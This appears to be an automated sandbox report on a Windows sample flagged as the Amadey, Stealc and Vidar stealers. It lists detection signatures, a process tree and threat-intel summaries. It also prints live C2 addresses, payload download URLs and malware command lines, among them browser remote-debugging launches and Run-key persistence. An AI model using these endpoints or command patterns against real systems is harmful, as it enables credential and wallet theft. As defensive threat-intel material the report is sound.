Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1555161
MD5:	2c013c5f9fc0492f1e14ca1d11b1d32d
SHA1:	ae0c8a32c542f8525c118fc230fabcb8a06eefc1
SHA256:	413d87fb41010da4c073ab713d100490f7711d0f320fbc4da27c18c9f46a2641
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6720 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2C013C5F9FC0492F1E14CA1D11B1D32D)

chrome.exe (PID: 7496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7752 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2220,i,8398956944613471196,4517818318250730757,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 2092 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2708 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2240,i,9997244050873834229,8109525789655161871,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 4904 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGDBFCGIIIJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsGDBFCGIIIJ.exe (PID: 8836 cmdline: "C:\Users\user\DocumentsGDBFCGIIIJ.exe" MD5: 03C0A5C86AEA63FEFD8C69932449652E)

skotes.exe (PID: 9156 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 03C0A5C86AEA63FEFD8C69932449652E)

msedge.exe (PID: 5412 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7948 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8216 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6656 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8428 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6804 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8316 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7112 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 2144 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 03C0A5C86AEA63FEFD8C69932449652E)

591832b8e5.exe (PID: 8684 cmdline: "C:\Users\user~1\AppData\Local\Temp\1005824001\591832b8e5.exe" MD5: BCD58BF1A969740FD1E8329F851BB0CC)

cmd.exe (PID: 7792 cmdline: C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8372 cmdline: cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2632 cmdline: ping localhost -n 1 MD5: 2F46799D79D22AC72C241EC0322B011D)

exploma.exe.exe (PID: 4900 cmdline: C:\Users\user\AppData\Local\exploma.exe.exe MD5: BCD58BF1A969740FD1E8329F851BB0CC)

oi.exe (PID: 8876 cmdline: "C:\Users\user~1\AppData\Local\Temp\1005893001\oi.exe" MD5: BD9EA2886936F3013285B983C3C1537E)

cmd.exe (PID: 9088 cmdline: "C:\Windows\System32\cmd.exe" /c copy Uh Uh.cmd & Uh.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 4220 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1271943212.0000000005570000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.1761277158.0000000000331000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1727423799.0000000000E6C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1729321166.000000000144E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1727423799.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.1792966737.0000000000391000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.2523822709.0000000000391000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6720	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
34.2.skotes.exe.390000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.DocumentsGDBFCGIIIJ.exe.330000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.2.skotes.exe.390000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1005824001\591832b8e5.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2144, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\591832b8e5.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6720, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7496, ProcessName: chrome.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 147.45.47.61, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe, Initiated: true, ProcessId: 8684, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 50118

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1005824001\591832b8e5.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2144, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\591832b8e5.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Uh Uh.cmd & Uh.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Uh Uh.cmd & Uh.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user~1\AppData\Local\Temp\1005893001\oi.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe, ParentProcessId: 8876, ParentProcessName: oi.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Uh Uh.cmd & Uh.cmd, ProcessId: 9088, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsGDBFCGIIIJ.exe" , ParentImage: C:\Users\user\DocumentsGDBFCGIIIJ.exe, ParentProcessId: 8836, ParentProcessName: DocumentsGDBFCGIIIJ.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 9156, ProcessName: skotes.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:41:20.279271+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.7	49744	TCP
2024-11-13T14:41:59.926616+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.7	50075	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:43:03.876029+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	50120	212.87.244.196	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:43:02.506608+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50119	185.215.113.43	80	TCP
2024-11-13T14:43:08.582717+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50123	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:41:07.847069+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49699	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:41:07.839993+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:41:08.123183+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:41:09.228980+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:41:08.131447+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49699	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:41:07.558733+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:42:49.339191+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50114	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:43:01.565558+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	50115	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:42:52.941505+0100	2803305	3	Unknown Traffic	192.168.2.7	50116	185.215.113.16	80	TCP
2024-11-13T14:43:03.876029+0100	2803305	3	Unknown Traffic	192.168.2.7	50120	212.87.244.196	443	TCP
2024-11-13T14:43:09.478784+0100	2803305	3	Unknown Traffic	192.168.2.7	50124	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T14:41:09.849953+0100	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-13T14:41:31.909328+0100	2803304	3	Unknown Traffic	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:33.309879+0100	2803304	3	Unknown Traffic	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:34.030295+0100	2803304	3	Unknown Traffic	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:34.910640+0100	2803304	3	Unknown Traffic	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:36.348263+0100	2803304	3	Unknown Traffic	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:36.821533+0100	2803304	3	Unknown Traffic	192.168.2.7	49832	185.215.113.206	80	TCP
2024-11-13T14:41:41.043906+0100	2803304	3	Unknown Traffic	192.168.2.7	49970	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/random.exe%	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllO1	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe7	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php=C	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe;	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe.46	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll2	Avira URL Cloud: Label: malware
Source: http://31.41.244.11//Zu7JuNko/index.php	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/random.exe131	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/mine/random.exeI0	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/215.113.43/Zu7JuNko/index.php	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php)	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpH	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllZ)E	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpT	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001D.00000002.1761277158.0000000000331000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.6720.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\oi[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1005893001\oi.exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\exploma.exe.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D01A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6D01A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0625B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6D0625B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFE4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6CFE4420
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D014440 PK11_PrivDecrypt,	1_2_6D014440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0144C0 PK11_PubEncrypt,	1_2_6D0144C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFFE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	1_2_6CFFE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	1_2_6D03A730
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CFF8670 PK11_ExportEncryptedPrivKeyInfo,	1_2_6CFF8670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D01A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	1_2_6D01A650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D040180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	1_2_6D040180
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D0143B0 PK11_PubEncryptPKCS1,PR_SetError,	1_2_6D0143B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6D03BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	1_2_6D03BD30
